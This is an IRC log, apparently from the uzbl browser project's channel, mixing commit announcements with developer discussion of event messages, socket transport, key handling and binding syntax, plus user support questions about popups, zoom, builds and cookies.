21:10 < github> Fixed wonky patch & added in gtk_refresh option.
21:10 < github> http://bit.ly/XIG3p
21:10 < github> uzbl: Dieter Plaetinck experimental SHA1-ca3eed1
21:10 < github> multiline tablist
21:10 < github> http://bit.ly/tKrUH
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21:21 < github> uzbl: Mason Larobina event-messages SHA1-bb6d7ea
21:21 < github> Custom event raising, added keycmd plugin & made handler class.
21:21 < github> http://bit.ly/1avpXa
21:21 < github> uzbl: Mason Larobina event-messages SHA1-eff5738
21:21 < github> Merge branch 'event-messages' of git://github.com/Dieterbe/uzbl into event-messages
21:21 < github> http://bit.ly/Cwtuk
21:21 < github> uzbl: Mason Larobina event-messages SHA1-8d49ebe
21:21 < github> Update keycmd in uzbl on keycmd raise event.
21:21 < github> http://bit.ly/17Hod0
21:21 < github> uzbl: Mason Larobina event-messages SHA1-d8d817c
21:21 < github> Forgot to reassign commmand variable.
21:21 < github> http://bit.ly/VzaiN
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21:22 < mjf> Hi. Who was the person I was trying to solve my issue with uzbl and js popups about 2 weeks ago with? I would like to ask whether there is some solution yet or not...
21:22 < mjf> It's still the only thing that do not let me use uzbl at work :(
21:33 < scj> mjf: that may have been me
21:34 < mjf> scj: I think so too.
21:34 < mjf> scj: I just was not sure enough.
21:36 < mjf> scj: I just wanted to ask whether there is some progression about the basic support for the js basic window commands or whether you (accidentally) found some other solution (perhaps some custom js script to handle such beasts in some way)...
21:36 < mjf> scj: or, at least, whether it is on some soon todo list :(
21:39 < scj> mjf: unfortunately not, but there are big changes ahead for the way uzbl deals with events, so it should be possible to define your own popup blocker
21:39 < mjf> scj: hm
21:39 < mjf> scj: how will the popup blocker solve the problem?
21:40 < mjf> scj: popup blocker is nice but I guess it will block popups or perhaps redirect them to the current one, right?
21:40 < mjf> scj: that will not help me at all :(
21:40 < scj> mjf: I am pretty sure that the reason why you can't open popups is because uzbl implements a very heavy handed popup blocking technique
21:41 < mjf> scj: no, the popup opens
21:41 < mjf> scj: but in new uzbl session which does not share the data with the original one
21:41 < mjf> scj: left hand does not know what does the right hand, see? ;)
21:42 < mjf> scj: the problem is that the popups I am struggling against are actually doing some js stuff to update the original page...
21:42 < mjf> scj: I know it's fucking weird but I did not programmed the app, you know? I am just forced to use it all the day ;)
21:43 < scj> mjf: redefining window.open as I did was just a way to circumvent the heavy handed popup blocker
21:44 < mjf> scj: great, so it would be possible to redefine window.open to specific website to do some "sharing" or something too?
21:44 < mjf> scj: s/something/something alike/
21:45  * mjf 's syntax's weird today, sorry
21:45 < scj> mjf: the cookie sharing should work by default if you use an external cookie handler
21:46 < mjf> scj: I thought it was proved enought that it does not help me last time :)
21:47 < mjf> scj: I will check it again with newest pull...
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21:57 < mjf> scj: hm, it still does not work :(
21:57 < mjf> > uzbl --version
21:57 < mjf> Commit: 35c7b6e8b5ed53f03770639cc11bd62fbf1bff26
21:57 < mjf> ^^ this is the version I got now
21:57 < mjf> http://vger.cz/setup/uzbl/config
21:58 < mjf> ^^ and this is the config (the XDG_* variables are set properly)
21:58 < mjf> > alias | grep uzbl
21:58 < mjf> uzbl='XDG_DATA_HOME=$HOME/usr/local/share/uzbl/examples/data XDG_CONFIG_HOME=$HOME/usr/local/share/uzbl/examples/config uzbl'
21:59 < mjf> ^^ this is the way I run uzbl
21:59 < mjf> (without the newline in the alias, of course, somebody fucked up xterm or something...)
22:00 < mjf> (many things get fucked up last years, I am trying to get used to it but still can not...)
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22:04 < scj> mjf: unrelated, but why have you bound :r_, :re_, :rel_, ... , :reload_?
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22:05 < scj> oh, now I get it
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22:06 < mjf> scj: hehe, I wanted to get abbreviated commands :-)
22:07 < mjf> scj: also in this version I am missing the " " inside the sh command on last 3 lines, I know that, just had not time to fix it... ;)
22:08 < mjf> scj: would be nice if uzbl did that for me in the future :) (I mean the shortest match)
22:08 < mjf> scj: eh, longest match
22:09 < mjf> scj: I got to leave now for a while, I will write to you later, thanks...
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23:22 < Masca> Do you know how can I tell google my browser support cookies and js to be able to use google docs and calendar?
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00:02 < Vitae> Hello.
00:03 < Vitae> Anyone here that can tell me if uzbl can view an RTF documenent, and if so, how I might do it?
00:03 < Vitae> I have tried and failed.
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03:26 < github> uzbl: Robert Manea event-messages SHA1-440783d
03:26 < github> report Latin1 characters literally as events
03:26 < github> http://bit.ly/2PtrsV
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03:27 < rob|> mason-l: the above commit fixes the issues with the keycmd plugin
03:28 < rob|> mason-l: i also have a solution for utf-8 chars, so not included yet as it needs a translation table
03:30 < rob|> s/so/though/
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03:40 < github> uzbl: Robert Manea event-messages SHA1-4716481
03:40 < github> report space key as symbolic name
03:40 < github> http://bit.ly/19nknU
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05:21 < scj> swf objects don't emit a link hover event. this is probably correct, but there should be some event emitted
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08:48 < Hideo> hi all, has anyone gotten this script to work, http://www.uzbl.org/wiki/adblock ?
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08:49 < Hideo> I'm testing with some basic regex, such as .*\.jpg.* , unless that is wrong?
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09:36 < Dieterbe> morning
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09:55 < Hideo> Dieterbe: g'morning, have you ever tried this script , http://www.uzbl.org/wiki/adblock ?
09:57 < Dieterbe> no
09:57 < xerebz> has anyone tried using gmail with uzbl?
09:57 < xerebz> it's very glitchyt
10:01 < Frots> xerebz: it is sucky
10:01 < Frots> very :p
10:03 < xerebz> i'm just using the basic html version for now
10:03 < xerebz> loads faster anyway
10:09 < Hideo> who has gotten this script to work, please tell me how you made it work, http://www.uzbl.org/wiki/adblock , thanks
10:13 < Frots> xerebz: im using a different broswer for those kind of web projects
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10:18 < rob|> morning.
10:19 < rob|> so, i got sending events over the socket working
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10:20 < Dieterbe> why oh why ? didn't we discuss this weekend that the only need for events-over-socket was bidirectional communication? and that bidirectional communication is not needed because event managers can 1)ignore events, 2) grep, 3) grep -v ?
10:20 < rob|> there is just a slight issue with our initiliziaton order, will see how to fix that one best before commiting
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10:20 < rob|> no, i think this will reduce latency and why shouldn't we support communication only over the socket?
10:21 < rob|> why also make stdout a requirement?
10:21 < Dieterbe> i see no reason why stdout would be bad for this
10:22 < Dieterbe> i mean, what else would you use stdout for
10:22 < rob|> i suppose it is not a stable enough interface, tested with masons script and it got stuck several times
10:22 < rob|> and no i don't think there is much room for improvements there
10:22 < rob|> i don't see why supporting all of our interfaces is a problem
10:22 < Dieterbe> well, if there is evidence that socket is faster then fifo/socket, it's fine for me
10:23 < Dieterbe> but if we don't need it, then every additional LoC that is not needed is bloat
10:23 < rob|> let's just give it a try run some comparative test and see wether we can remove it or wether it's a stayer
10:24 < Dieterbe> yes, i'm pro benchmarks
10:24 < Dieterbe> but the problems you mentioned with the fifo should be investigated. not avoided
10:27 < rob|> sure. oh, and i fixed the KEY events so that they report the literal char for Latin1 and not the sym name
10:27 < rob|> not sure wether we also want this for utf-8 chars
10:27 < rob|> it would certainly require a quite big translation table
10:27 < Dieterbe> can you give some example before/afters of that fix?
10:28 < Dieterbe> I'm fine with terms such as 'Space' etc btw
10:29 < Dieterbe> http://www.pemberley.com/janeinfo/latin1.html all these chars will be literal?
10:29 < rob|> sure but chars like '-.:" etc should not be reported as Comma, Hyphen, etc.
10:30 < Dieterbe> yes true. as long as we still have 'Delete', 'Backspace' 'F11' and so on
10:30 < rob|> if ((keyval >  0x0020 && keyval <= 0x007e) || (keyval >= 0x00a0 && keyval <= 0x00ff))
10:30 < rob|> all these will be literal
10:31 < rob|> note the "> 0x0020" we keep space as 'Space'
10:31 < Dieterbe> well i'm just looking at http://www.pemberley.com/janeinfo/latin1.html, and i'm fine with literalizing all of them
10:32 < rob|> yeah, then just add the range you want to that if
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10:37 < scj> any particular reason we aren't sending the keyval?
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10:53 < Hideo> hi, I've run into a problem with quotes, can someone please check, http://pastebin.com/m4003c3d2
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11:03 < scj> Hideo: turn it into a shell script instead; http://pastebin.com/m1095bcfb
11:04 < scj> Hideo: set load_commit_handler = spawn script.sh
11:05 < Hideo> scj: ack, I see, thanks!  I wished it was avoidable
11:06 < rob|> hmm, who came up with that silly construct?
11:07 < scj> chain?
11:07 < rob|> no the sh 'echo ...' stuff
11:07 < rob|> 'script scriptname.js' is all you need in that place
11:08 < Hideo> rob|: oh... that construct was in the header of linkfollow.js
11:08 < Hideo> of course I'm not thinking clearly
11:08 < scj> so yeah, I'm responsible
11:08 < Hideo> hehe, :P
11:09 < Hideo> scj: nice script btw
11:10 < scj> it's the bees knees
11:12 < Hideo> :)
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12:49 < mason-l> Hey rob|.
12:50 < mason-l> Hey Dieterbe.
12:51 < Dieterbe> hi
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13:08 < mason-l> Dieterbe, Do you think scripts will ever care if you are pressing the right alt or the left alt?
13:08 < mason-l> or the right ctrl or left ctrl?
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13:13 < Dieterbe> i think we should differentiate by default, yes
13:13 < Dieterbe> if the user wants them to be treated equally, he can change the script
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13:33 < rob|> hey mason
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16:26 < mrgnash> Hello. Anyone got any info on what is causing some installs of uzbl report a 'mutex' error and terminate when accessing a webpage?
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16:52 < sitwon> mrgnash: no idea, can you reproduce it consistently?
16:54 < mason-l> Dieterbe, I think I've got all the logic worked out for the key command handling.
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16:56 < mason-l> @ rob|.
16:57 < mason-l> I mean: &
16:57 < mason-l> http://github.com/mason-larobina/uzbl/commit/604f1d4c1e94ed226d118607b105e52cb189626b
16:59 < mason-l> That took a lot of hours to tweak-correct.
16:59 < Dieterbe> i'll look this evening. i'm quite curious
17:00 < mason-l> Also now I'm updating keycmd with the meta-keys you're holding. It looks nice (but can be made optional).
17:01 < mason-l> Dieterbe, And I've also accounted for holding normal keys and making them act like meta-keys
17:01 < Dieterbe> oh..
17:01 < Dieterbe> sweet
17:01 < mason-l> So you can <a>+tr
17:01 < mason-l> or <a><t>+r
17:01 < Dieterbe> that's an awesome feature
17:01 < mason-l> or <a><r><t>
17:02 < mason-l> but <a><r><t> != <a>+tr
17:02 < Dieterbe> i wish 'using normal keys as modkey' was possible in every app on my system
17:02 < mason-l> s/<a>+tr/<a>+rt/
17:02 < Dieterbe> i have no clue what you mean, but i guess you provided some documentation
17:03 < mason-l> "i guess you provided some documentation" Nope :)
17:03 < mason-l> I've been too busy hacking together a working prototype.
17:03 < mason-l> Its in my todo though.
17:03 < mason-l> Dieterbe, Best thing to do is see by example.
17:04 < mason-l> Look at the output in the terminal.
17:04 < Dieterbe> k
17:04 < Dieterbe> in 2 hours is the earliest i can look
17:04 < mason-l> Not a problem. I'm in bed soon though.
17:06 < Dieterbe> any time estimation?
17:06 < mason-l> sleep eta 30 minutes.
17:07 < Dieterbe> oh, ok
17:07 < mason-l> rob|, Love your patch, everything works as to be expected now!
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17:14 < mason-l> Dieterbe, Tiny pull request: http://github.com/mason-larobina/uzbl/commit/c2097174b0ca36f5279f4278b3673f3bdbd02ff6 :)
17:16 < Dieterbe> is that experiemntal?
17:16 < mason-l> yeah
17:17 < Dieterbe> ok. will do this tonight or so
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17:24 < mrgnash> sitwon: yes, it happens every time I start uzbl -- so long as when it starts, a web page (even uzbl.org) is loaded. There was actually a bug filed on the tracker: http://www.uzbl.org/bugs/index.php?do=details&task_id=42
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17:30 < Dieterbe> good night mason-l 
17:30 < Dieterbe> i'm looking forward to trying your stuff
17:30 < mason-l> Have a good one yourself.
17:31 < mason-l> I don't have to work on Thursday so I'll probably be able to squeeze in a late one then.
17:31 < sitwon> mrgnash: I'll try to reproduce it in my Ubuntu VM later. I'll update the ticket if I find out anything useful for you.
17:31 < mason-l> Wednesday that is.
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17:41 < mrgnash> Thanks very much sitwon :)
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18:35 < hagna> trying to install on ubuntu intrepid and make's first error is uzbl.h:44: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
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18:52 < hagna> ok ok I'll switch to arch
18:52 < hagna> BTW does uzbl work on bsd?
18:53 < scj> i believe so
18:54 < hagna> is master stable?
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18:58 < sitwon> hagna: it depends on your definition of "stable"
18:58 < hagna> sitwon: will it make
18:58 < sitwon> it did for me on two Slackware systems and an Ubuntu system
18:59 < hagna> today's master did?
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19:00 < sitwon> 9ffda built for me, I'll try the latest
19:00 < hagna> trying to install on ubuntu intrepid and make's first error is uzbl.h:44: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
19:01 < sitwon> err... 9ffda is the latest
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19:01 < hagna> dang
19:01 < rob|> woah mason, that's some pretty neat stuff you did there
19:01 < sitwon> hagna: do you have all the dependencies installed?
19:02 < hagna> yeah libwebkit-dev and libsoap
19:03 < sitwon> and gtk?
19:04 < sitwon> err... ofcourse Ubuntu would have gtk...
19:04 < hagna> sitwon: yeash libgtk2.0-0 is installed
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19:05 < sitwon> hagna: docs/INSTALL says "gtk 2.14 or higher"
19:07 < sitwon> it's *possible* that you need to upgrade gtk to compile
19:07 < hagna> sitwon: hmmm well I tried the .deb and that works for now
19:07 < hagna> this one http://www.uzbl.org/wiki/ubuntu_howto
19:09 < Dieterbe> sup dogs
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19:16 < rob|> Dieterbe: you need to give mason's stuff a try, it's great
19:17 < Dieterbe> will do
19:18 < Dieterbe> lol the 'talk about sane browsers' on the suckless ML is great
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19:20 < rob|> hmm, i wonder wether we can build up some strong browser-WM integration with this event stuff. especially xmonad could profit from it
19:20 < Dieterbe> why esp xmonad? forgive my lack of knowledge of your preffered client manipulator :)
19:21 < Dieterbe> s/of/about/
19:23 < rob|> well, probably because of all those more advanced tilers i know xmonad best ;)
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19:23 < github> uzbl: Mason Larobina experimental SHA1-c209717
19:23 < github> 80 character line limit enforcement.
19:23 < github> http://bit.ly/98Hlz
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19:25 < Dieterbe> Your branch is ahead of 'rob/event-messages' by 21 commits.
19:25 < Dieterbe> hmm how can this be
19:25 < Dieterbe> i just pulled origin (myself on github) into my local clone
19:26 < Dieterbe> and you pushed to my repo on GH, so ..
19:26 < rob|> hmm, no idea.
19:27 < Dieterbe> i'll wait until the network graph is updated. maybe it'll bring more clarity
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19:28 < Dieterbe> rob|: so you reviewed mason latest code and you like it?
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19:33 < ruskie> hmm anyone have some uri handler that could set the zoom level to some specific one for each site separately?
19:33 < scj> load_start_handler with a case switch on the url?
19:33 < Dieterbe> seems simple enough to write
19:36 < ruskie> well it should only activate once for that page... not for each subsequent link from that page
19:40 < ruskie> but yeah I'm thinking of writting something like it... just wanted to ask if someone already has something
19:40 < scj> any particular reason for only setting it once?
19:41 < ruskie> www.site.com -> opens -> hit a link there that points to www.site.com/something
19:41 < ruskie> it would double the zoom then
19:42 < Dieterbe> ...if you write a crappy script
19:42 < ruskie> I haven't had much luck with just set zoom_level something.something in the past
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19:42 < Dieterbe> really? why not?
19:42 < scj> admittedly, I've never really messed around with zoom levels, but setting zoom_level = 2 doesn't increase the zoom
19:42 < scj> on subsequent sets
19:43 < ruskie> Dieterbe, no clue.. .but when I treid with zomlevel =1.5 it doesn't look any bigger than 1.0
19:43 < ruskie> I should test again sometime
19:43 < ruskie> been a while since that
19:43 < scj> trying it now, seems to work as expected, and wouldn't increase the zoom
19:44 < ruskie> yeah
19:44 < ruskie> set zoom_level = 1 vs set zoom_level = 1.5 I see absolutely NO difference
19:45 < scj> i do
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19:45 < ruskie> there is a huge difference between set zoom_level = 1 and set zoom_level = 2 though
19:45 < scj> i see a big difference between 1 and 1.5
19:45 < ruskie> odd
19:46 < ruskie> webkitgtk:20090701:installed:1.1.10
19:46 < ruskie> uzbl:20090816:installed:scm
19:46 < ruskie> that's what I have running
19:46 < ruskie> maybe it got fixed sometime in the intervening time... I'll give it a try
19:47  * ruskie tries pdating both
19:48  * ruskie goes do something less productive than watching compile running down the screen
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19:48 < rob|> Dieterbe: yeah, i skimed a bit through his code, though i was talking more about the functionality/appearance
19:49 < Dieterbe> yes but i don't like to merge in code that isn't confirmed to be good by someone else
19:50 < Dieterbe> since i can't really figure out the python stuff. it's quite complicated
19:51 < Dieterbe> i didn't like how some things are hardcoded, like esc/backspace behavior, but i'm sure we'll finetune that later
19:51 < rob|> well, same applies to me and python :(
19:52 < Dieterbe> -        print event, args
19:52 < Dieterbe> +        # Silence _printing_ of geo events while still debugging.
19:52 < Dieterbe> +        if event != "GEOMETRY_CHANGED":
19:52 < Dieterbe> +            print event, args
19:52 < Dieterbe> i also don't like stuff like that in commits
19:52 < scj> why would you want to silence stuff while in debugging?
19:53 < rob|> he was probably working on other stuff and didn#t want his terminal get flooded with those messages
19:53 < Dieterbe> btw rob| do i recall correctly that you implemented events over socket?
19:53 < Dieterbe> or did i dream/imagine that
19:53 < rob|> i did
19:54 < rob|> not commited yet, though
19:54 < Dieterbe> ah that explains
19:54 < Dieterbe> so you used mason stuff with the current fifo approach in uzbl-browser?
19:54 < rob|> yeah
19:59 < Dieterbe> hmm, so it is supposed to understand already all keybinds in the example config?
19:59 < rob|> yeah, they're just not all defined yet
20:00 < Dieterbe> what is not all defined yet?
20:00 < rob|> the perticular bindings
20:00 < rob|> *a
20:01 < Dieterbe> which particular bindigs?
20:01 < rob|> erm, the example/default bindings we used to have
20:02 < Dieterbe> examples/config/uzbl/config is not touched? or does it not get the bindings from there yet?
20:03 < rob|> no, it doesn't yet
20:03 < rob|> we couldn#t agree on best practice to do so
20:04 < rob|> i still vote for the custom var approach, though
20:04 < rob|> i.e.: set binding = foo _ = bar
20:04 < rob|> the binding plugin looks for 'VARIABLE_SET binding' and interpretes the contents accordingly
20:08 < rob|> mason didn't like the double '=' in there but you can substitute that char with virtually anything
20:08 < rob|> like 'set binding = foo -> bar' or something
20:14 < hagna> so what I really would like is some curses browser that does js anyone know of one?
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20:16 < rob|> oh, that way we could even have multiple binding parsers run in parallel
20:16 < rob|> or implement per site bindings or other crazy stuff
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20:25 < rob|> Dieterbe: any oppinion on this?
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20:39 < jayzer> can scripts for uzbl be written in any language? like say, ruby?
20:41 < scj> jayzer: yes. any language that can read/write to files and manipulate text strings in some meaningful fashion
20:41 < jayzer> ok, good
20:42 < hagna> so are you using it for anything beyond adhering to the unix philosophy?
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20:53 < Dieterbe> rob|: well i think having it all on one line is kinda weird. what to do when you first define 20 bindings, and then you want to add or update one?
20:55 < rob|> hmm, i guess you got me wrong
20:55 < ruskie> hmm need to switch to some better cookie handler sometime
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20:55 < rob|> you can have as many 'set binding = ...' as you want
20:55 < ruskie> erm? freeform bindings?
20:56 < ruskie> as in bind ctrl+alt+d or alt+f or ctrl+i etc?
20:56 < rob|> yeah, that's possible right now. we're talking about the configuration of these
20:57 < ruskie> it is?
20:57 < rob|> i.e. you define the bingings in uzbls config file, using custom vars
20:57 < rob|> ruskie: yes, with mason's event manager
20:57 < Dieterbe> so you override the same custom variable 20 times to define your 20 bindings?
20:58 < rob|> exactly
20:58 < ruskie> erm...
20:58 < ruskie> so it's not as easy as set bind ctrl+i = do something ?
20:59 < rob|> ruskie: not yet, as we didn't agree on best practice for nice configuration
20:59 < rob|> ruskie: you can do it in the python source, though
20:59 < ruskie> I'll wait for the core to have it
20:59 < rob|> the core won't have it
20:59 < ruskie> why?
21:00 < rob|> because we want to outsource event parsing
21:00 < ruskie> so keybindings are events?
21:00 < rob|> i.e. uzbl just spits out event messages and some other application interpretes and reacts to them
21:00 < rob|> no, key press/release are events
21:01 < rob|> the application is free to do with those whatever it wants
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21:01 < ruskie> hmm
21:01 < ruskie> interesting
21:02 < rob|> yeah, right now we are in the process of finding the best way to define the bindings in uzbl's config file
21:02 < ruskie> I take it the events will give something easy to parse so if for example ctrl+i is hit it won't produce a tab but report ctrl+i has been pressed?
21:03 < rob|> exactly, it will produce a string 'EVENT KEY_PRESS [uzbl_name] Ctrl' and 'EVENT KEY_PRESS [uzbl_name] i'
21:03 < rob|> same goes for KEY_RELEASE
21:03 < ruskie> hmm
21:04 < ruskie> so one would be able to do insane strings?
21:04 < rob|> sure
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21:04  * ruskie wonders when cmd history will be available in uzbl(considering that vim has that) ;)
21:05 < rob|> you could have any kind of bindings, the only limitation is the logic of the event parsing application
21:05 < Dieterbe> so rob| what if you define 20 bindings and then you want to "undefine" (completely remove) one of them?
21:05 < rob|> ruskie: we have a COMMAND_EXECUTED event. so nothing stops you from implementing one
21:05 < ruskie> O.o
21:06 < rob|> Dieterbe: 'set binding = override = '
21:06 < rob|> or some other meta char instead of space
21:07  * ruskie notes that he doesn't see what would override that one specific binding of 20
21:07 < ruskie> or would override be the binding to unbind?
21:08 < rob|> no override would be the left hand side of the binding
21:08 < Dieterbe> wait a minute.. you cannot "remove" bindings with our current code either, can you?
21:09 < rob|> as in: 'set binding = foo = bar' delete the foo binding: 'set binding = foo = '
21:09 < ruskie> ahh
21:09 < ruskie> so I did understood it correctly
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21:09 < ruskie> anyway my brain is hazy so I'm dropping off
21:09 < Dieterbe> rob|: the alternative was just raising custom events right? like event 'bind foo = bar' ?
21:10 < rob|> right
21:10 < Dieterbe> and what don't you like about that?
21:10 < rob|> it just feels unnatural to define bindings that way
21:11 < rob|> just a matter of taste, technically it would be the same thing in green
21:11 < Dieterbe> i don't care about feelings. only hard facts ;) but seriously
21:11 < Dieterbe> in green?
21:11 < rob|> well, german spruch
21:11 < rob|> erm
21:11 < rob|> heh
21:11 < rob|> that's a german saying
21:12 < rob|> same thing in green == the same just slightly different semantics - well, sort of
21:12 < Dieterbe> got it
21:12 < Dieterbe> the main advantage of (custom) variables in general, is that you can also retrieve their value, (think dump_config)
21:13 < Dieterbe> but the problem with your approach is you keep overriding the same var
21:13 < Dieterbe> what about: set bind_foo = bar
21:13 < Dieterbe> set bind_baz = woezzelwazzel
21:13 < Dieterbe> and the event manager would bind the parts after 'bind_' obviously
21:13 < rob|> well var names can't be composed of any chars
21:14 < Dieterbe> ah, true true
21:14 < Dieterbe> or we say : fuck it, just define them in a python config file :P
21:14 < rob|> i guess we need to pick one of the two mentioned options 1) custom vars 2) cutom events
21:14 < Dieterbe> 3) in python
21:15 < rob|> right, one config file per event manager plugin
21:15 < Dieterbe> and you could still send event reload_configs or something if you want your plugins to reload their configs
21:15 < rob|> yeah
21:16 < Dieterbe> it would provide similar dynamic configuration as uzbl
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21:17 < Dieterbe> you know i kinda like this
21:17 < rob|> well, i'm ok with either one. though custom vars/events seem like the cheapest way for the event manager, i.e. it wouldn't need to have an own config file
21:17 < Dieterbe> why pollute uzbl-core with events or variables that it only passes on anyway
21:17 < rob|> ^^
21:18 < rob|> it also seems more friendly to be able to configure everything in a single place
21:18 < Dieterbe> 'own config file' doesn't need to be that expensive.. there's probably a simple way to do it in python
21:19 < Dieterbe> both 'one file' and 'two files in one directory' can be called 'single place'
21:20 < rob|> sure, if we decide to go this route we should at least make the syntax of all those files similar, though
21:21 < Dieterbe> doesn't seem like a problem
21:23 < rob|> anyways, uzbl seems to eventually become the command interpreter/dispatcher i always wanted it to be :)
21:24 < Dieterbe> congrats ;)
21:26 < rob|> heh
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21:27 < rob|> also i'm pretty sure we can keep the SLOC count to a stable minimum with this approach
21:28 < Dieterbe> i don't know. the python stuff is pretty sloc-intensize
21:28 < Dieterbe> intensive*
21:30 < scj> event_manager.py ought to be rewritten as a python lib instead, imo
21:31 < Dieterbe> rob|: now where are those binds defined. i don't get it
21:32 < Dieterbe> rob|: if they are not taken from the main example config, from where are they?
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22:18 < sitwon> mrgnash: ping
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22:29 < hagna> can uzbl dump render tree?
22:34 < sitwon> what do you mean?
22:34 < sitwon> the DOM?
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22:50 < hagna> sitwon: webkit has a command called DumpRenderTree
22:50 < hagna> well more of a utility
22:50 < hagna> yeah the DOM
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22:55 < scj> hagna: I don't think DumpRenderTree is exposed in webkitgtk
22:56 < scj> we've been using js as a sort of query language for accessing the DOM
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23:21 < hagna> so no way to check for popups programmatically?
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23:32 < scj> hagna: webkitgtk emits a signal when a new window is requested http://webkitgtk.org/reference/webkitgtk-WebKitWebView.html#WebKitWebView-new-window-policy-decision-requested
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00:29 < mason-l> <rob|> i.e.: set binding = foo _ = bar
00:29 < mason-l> But its got two ='s!
00:30 < mason-l> I prefer: "event <NAME> <args>" -> "event BIND <Ctrl>+q = exit"
00:32 < mason-l> Anyway, off to work. Talk to you later guys.
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00:44 < mason-l> Also Dieterbe & rob|: I still haven't updated the bind plugin to work with any of the keycmd plugins.
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02:53 < xerebz> is there a way to make a bind that only takes in one letter?
02:53 < xerebz> instead of <string><enter>
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03:13 < fumbles> congrats :D http://linux.slashdot.org/story/09/09/05/2142235/Meet-UZBL-mdash-a-Web-Browser-With-the-Unix-Philosophy?from=rss
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03:58 < _murphy_> silly question - but has anyone modified the tabs script so it's possible to hide the tabs bar? I was fiddling with it earlier, but figured I'd ask
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05:07 < shepheb> a question, if I may: where does uzbl/webkit store cache stuff, such as images, pages and the like? I want to arrange for it to be somewhere in /tmp, either via a symlink or config setting, to avoid hitting my SSD (my /tmp is a ramdisk) and also make it faster.
05:07 < shepheb> but not to store any configuration there, since it will obviously be lost on reboot
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07:28 < ruskie> xerebz, yes don't add _ at the end of the key
07:28 < ruskie> shepheb, I think that would be in-memory
07:29 < ruskie> _murphy_, you mean hide it on the fly or hide it completly?
07:29 < ruskie> mason-l, I prefer your event <NAME> <args> as well :)
07:29 < shepheb> hmm
07:30 < ruskie> the only stuff I'm aware off that can be set is the location of the fifo and socket
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09:01 < rob|> morning.
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09:16 < Dieterbe> hey
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09:22 < rob|> hmm, we may need to give the event message encoding a better look.
09:22 < rob|> so we can easily support utf encodings with them
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09:46 < ruskie> mmm first time I've used the cookie daemon
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10:07 < ruskie> hmm I do wish visited links(that get open in new tabs would get marked as such as well)
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10:26 < Dieterbe> morning guys
10:31 < octe> morning
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10:38 < rob|> so, events over sockets seem to work quite well (also with socat), will extend the event command to also make use of sockets and commit eventually
10:40 < rob|> though one thing, shall we always propagate events via stdout+socket or should there be a variable where you can define the output iface?
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10:43 < ruskie> rob|, hmm would it improve performance if you didn't have to do it multiple at the same time?
10:44 < Dieterbe> rob|: shouldn't we make the event command use send_command? i think there was some duplicate code there
10:46 < rob|> yeah, we need to split those functions up a bit
10:46 < rob|> ruskie: well, i don't think that's much of a performance penalty
10:47 < rob|> ruskie: though, it would still be nice to be able to specify which iface you want the events to go to
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11:39 < rob|> Dieterbe: fixed the event thing, and removed the duplicate code. you want me to push to your branch?
11:40 < Dieterbe> if you're convinced i'll like it, feel free
11:41 < Dieterbe> or if you're convinced i "should" or "will probably" like it
11:41 < rob|> hehe, if you agree with sending over the socket then i guess you'll be ok with it
11:42 < rob|> well, done.
11:42 < rob|> where is the announce bot?
11:42 < Dieterbe> patience..
11:43 < Dieterbe> sometimes it doesn't even appear at all
11:43 < rob|> note, send_event() now has 3 arguments
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12:45 < mason-l> Hey guys.
12:45 < mason-l> Whats been happening rob| & Dieterbe?
12:46 < rob|> hey mason
12:46 < rob|> well, events over the socket are working now
12:46 < rob|> already pushed to dieter's tree
12:47 < rob|> o you can just bind to the socket and send receive over it
12:47 < rob|> +so
12:47 < mason-l> Send _And_ receive?
12:48 < rob|> yeah
12:48 < rob|> tested with socat and it works great
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12:49 < mason-l> rob|, So they are SOCK_STREM sockets?
12:49 < mason-l> 'STREAM
12:50 < rob|> yep, SOCK_STREAM
12:50 < mason-l> Nice.
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12:51 < rob|> just need to tweak the order of socket creation and event sending, so we don't loose INSTANCE_START events
12:52 < rob|> well, it might just be enough to send that event whenever the socket path chages, though
12:53 < rob|> also we have an slight issue with utf chars in event messages, this needs further investigation
12:54 < rob|> we might need some iconv magic there
12:54 < rob|> luckily glib has that functionality built in :)
12:58 < mason-l> Sounds great.
12:59 < mason-l> And I'm 100% on you about those INSTANCE_START events on socket init-connection/change-location.
12:59 < mason-l> Because what if its been relocated to a socket belonging to another event manager.
13:01 < mason-l> So rob|, How do I define/change that event messages socket location?
13:03 < rob|> you mean in uzbl-core?
13:03  * ruskie likes that the cookie daemon has a store-in-memory only option
13:04 < mason-l> Yeah.
13:04 < mason-l> ruskie, I forgot another option that builds on that by loading but not saving all your cookies from your cookie jar.
13:04 < ruskie> hmm
13:04 < ruskie> missing then an option to save select cookies from memory to cookie jar
13:04 < ruskie> which would own ;)
13:05 < ruskie> though that would require an UI for it I guess
13:05 < mason-l> ruskie, Very difficult request.
13:07 < rob|> mason-l: hmm, i guess adding a send_event() to control_socket() should do it
13:07 < ruskie> though I like I only need a single daemon and it can handle it for multiple instances easily :)
13:07 < rob|> mason-l: after line 2204, i guess
13:08 < mason-l> rob|, Oh so you finished the send_event_socket function but theres no way to configure its use or activate it yet?
13:10 < mason-l> Oh no wait, I see that line: "+        send_event_socket(event_message);"
13:11 < rob|> right, though you should just use send_event(). that one will propagate the event over _all_ interfaces
13:11 < mason-l> So that socket is uzbl's socket?
13:11 < rob|> yeah
13:12 < mason-l> Oh right!
13:12 < mason-l> Now I understand.
13:30 < rob|> btw, http://webkitgtk.org/reference/webkitgtk-WebKitWebView.html#webkit-web-view-set-view-source-mode
13:30 < rob|> this may solve the source view problem
13:31 < rob|> we'd just need to introduce a 'view_source' var
13:37 < rob|> i'll add that, though it requires webkit >=1.1.14
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13:44 < rob|> hmm, bummer. even arch has an older webkit package. so, this will stay commented until 1.1.14 makes it into the official arch packages
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15:07 < mason-l> rob|, It's almost like you need a uzbl.state.config_loaded to solve those VARIABLE_SET problems with the socket event messages.
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15:12 < mason-l> rob|, To solve the problem I would store each event in a huge g_string until the SOCKET_SET is raised then dump the entire string into the socket.
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15:56 < nullmark> Hi
15:56 < jelly12gen> o/
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16:13 < rob|> mason-l: hmm, that has a downside, though. what if the user doesn't set a socket during the whole life of the instance?
16:13 < rob|> oh, well nvm
16:14 < rob|> erm, no still. ^^
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16:25 < mason-l> rob|, Then make uzbl free the event string after say 15 seconds with no socket_dir set.
16:26 < mason-l> Thats plenty of time for any event manager to respond.
16:27 < mason-l> And if the user defines a socket_dir after that then he expects to lose that previous output.
16:27 < mason-l> Its only the startup output we need to save.
16:28 < holizz> Dieterbe or rob|, For when you get around to merging next, I took a look at the latest pull request for prepending "file://" if the URI is probably a file - it looks good, and seems to work fine.
16:28 < mason-l> Hey holizz!
16:28 < holizz> Hi mason-l.
16:28 < Dieterbe> i think i'll need an entire weekend to get up to speed again
